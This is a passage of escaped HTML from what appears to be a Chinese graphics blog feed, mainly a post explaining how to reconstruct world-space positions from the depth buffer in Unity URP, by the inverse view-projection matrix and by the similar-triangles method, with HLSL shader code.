stalomeow/StarRailNPRShader\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"参考文章\"\u003e参考文章\u003ca class=\"headerlink\" href=\"#参考文章\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/667305414\"\u003e图形引擎实战:自阴影渲染分享 - 知乎\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/666545782\"\u003eUnity 从DecalSystem创建PerObjectShadow - 知乎\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"footnote\"\u003e\n\u003chr /\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003e\u003ca href=\"https://docs.unity3d.com/ScriptReference/Matrix4x4.Ortho.html\"\u003eUnity - Scripting API: Matrix4x4.Ortho\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:1\" title=\"Jump back to footnote 1 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/toon-main-light-character-shadow/"},{"title":"深度重建世界坐标","time":"2024-07-10T13:52:12Z","content":"\u003ch1 id=\"深度重建世界坐标\"\u003e深度重建世界坐标\u003ca class=\"headerlink\" href=\"#深度重建世界坐标\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e在后处理 Shader 还有一些屏幕空间效果中,常需要使用深度还原世界坐标。\u003c/p\u003e\n\u003ch2 id=\"逆矩阵法\"\u003e逆矩阵法\u003ca class=\"headerlink\" href=\"#逆矩阵法\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003ch3 id=\"推导\"\u003e推导\u003ca class=\"headerlink\" href=\"#推导\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e根据 uv 和 depth 可以还原出 \u003ccode\u003epositionNDC.xyz\u003c/code\u003e。由\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eMatrixVP\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// positionNDC.w 一定为 1\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e可得\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eMatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003ccode\u003ew\u003c/code\u003e 分量的公式为\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eMatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e因为 \u003ccode\u003epositionWS.w == 1\u003c/code\u003e 所以\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eMatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e带回去得到\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eMatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eMatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e化简得到\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eMatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch3 id=\"URP-实现\"\u003eURP 实现\u003ca class=\"headerlink\" href=\"#URP-实现\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e在 \u003ccode\u003ePackages/com.unity.render-pipelines.universal/ShaderLibrary/Common.hlsl\u003c/code\u003e 里有相关的实现。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e注意此处 URP 的 \u003ccode\u003epositionNDC.xy\u003c/code\u003e 是屏幕 \u003ccode\u003euv\u003c/code\u003e,范围是 \u003ccode\u003e[0, 1]\u003c/code\u003e,与前面推导时用的 \u003ccode\u003epositionNDC\u003c/code\u003e 的定义不同。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eComputeClipSpacePosition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edeviceDepth\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e2.0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edeviceDepth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"cp\"\u003e#if UNITY_UV_STARTS_AT_TOP\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Our world space, view space, screen space and NDC space are Y-up.\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Our clip space is flipped upside-down due to poor legacy Unity design.\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// The flip is baked into the projection matrix, so we only have to flip\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// manually when going from CS to NDC and back.\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#endif\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eComputeWorldSpacePosition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edeviceDepth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einvViewProjMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 这个 positionCS 才是前面推导时的 positionNDC\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eComputeClipSpacePosition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edeviceDepth\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehpositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003einvViewProjMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehpositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exyz\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehpositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e使用方法\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"cp\"\u003e#include \u0026quot;Packages/com.unity.render-pipelines.core/ShaderLibrary/Common.hlsl\u0026quot;\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#include \u0026quot;Packages/com.unity.render-pipelines.universal/ShaderLibrary/DeclareDepthTexture.hlsl\u0026quot;\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// ...\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edeviceDepth\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSampleSceneDepth\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003einput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etexcoord\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"cp\"\u003e#if !UNITY_REVERSED_Z\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edeviceDepth\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edeviceDepth\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e2.0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#endif\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eComputeWorldSpacePosition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003einput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etexcoord\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edeviceDepth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eunity_MatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"相似三角形法\"\u003e相似三角形法\u003ca class=\"headerlink\" href=\"#相似三角形法\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e这个方法来自 SIGGRAPH 2011 中的 Secrets of CryENGINE 3  Graphics Technology。\u003c/p\u003e\n\u003ch3 id=\"推导_1\"\u003e推导\u003ca class=\"headerlink\" href=\"#推导_1\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"原理图(原图来自 Secrets of CryENGINE 3  Graphics Technology 的 ppt)\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240711142202.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e假设要重建点 C 的世界坐标。由\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\triangle \\text{ABC} \\sim \\triangle \\text{ADE}\n\\]\u003c/div\u003e\n\u003cp\u003e得到\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\dfrac{\\left | \\text{AB} \\right |}{\\left | \\text{AD} \\right |} = \\dfrac{\\left | \\text{AC} \\right |}{\\left | \\text{AE} \\right |}\n\\]\u003c/div\u003e\n\u003cp\u003e如果深度是在 Linear01 空间的话,\u003cspan class=\"arithmatex\"\u003e\\(\\left | \\text{AD} \\right | =1\\)\u003c/span\u003e,\u003cspan class=\"arithmatex\"\u003e\\(\\left | \\text{AB} \\right |\\)\u003c/span\u003e 就是点 C 的 Linear01Depth,所以\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\overrightarrow{\\text{AC}} = \\left | \\text{AB} \\right | \\overrightarrow{\\text{AE}}\n\\]\u003c/div\u003e\n\u003cp\u003e等号两边同时变换到世界空间\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\overrightarrow{\\text{AC}}_\\text{ws} = \\left | \\text{AB} \\right | \\overrightarrow{\\text{AE}}_\\text{ws}\n\\]\u003c/div\u003e\n\u003cp\u003e再加上点 A(相机)的世界坐标就能算出点 C 的世界坐标。\u003c/p\u003e\n\u003ch3 id=\"URP-实现_1\"\u003eURP 实现\u003ca class=\"headerlink\" href=\"#URP-实现_1\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"cp\"\u003e#include \u0026quot;Packages/com.unity.render-pipelines.core/ShaderLibrary/Common.hlsl\u0026quot;\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#include \u0026quot;Packages/com.unity.render-pipelines.universal/ShaderLibrary/DeclareDepthTexture.hlsl\u0026quot;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e先在 Vertex Shader 里计算 \u003cspan class=\"arithmatex\"\u003e\\(\\overrightarrow{\\text{AE}}_\\text{ws}\\)\u003c/span\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"c1\"\u003e// 在 Blit Shader 中 texcoord 需要使用 API 计算出来,参考 Packages/com.unity.render-pipelines.core/Runtime/Utilities/Blit.hlsl\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eComputeWorldSpacePosition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etexcoord\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUNITY_RAW_FAR_CLIP_VALUE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eunity_MatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003eoutput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eviewRayWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetCameraPositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e在 Fragment Shader 里,还原世界坐标\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edepth\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLinear01Depth\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSampleSceneDepth\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003einput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etexcoord\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_ZBufferParams\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan 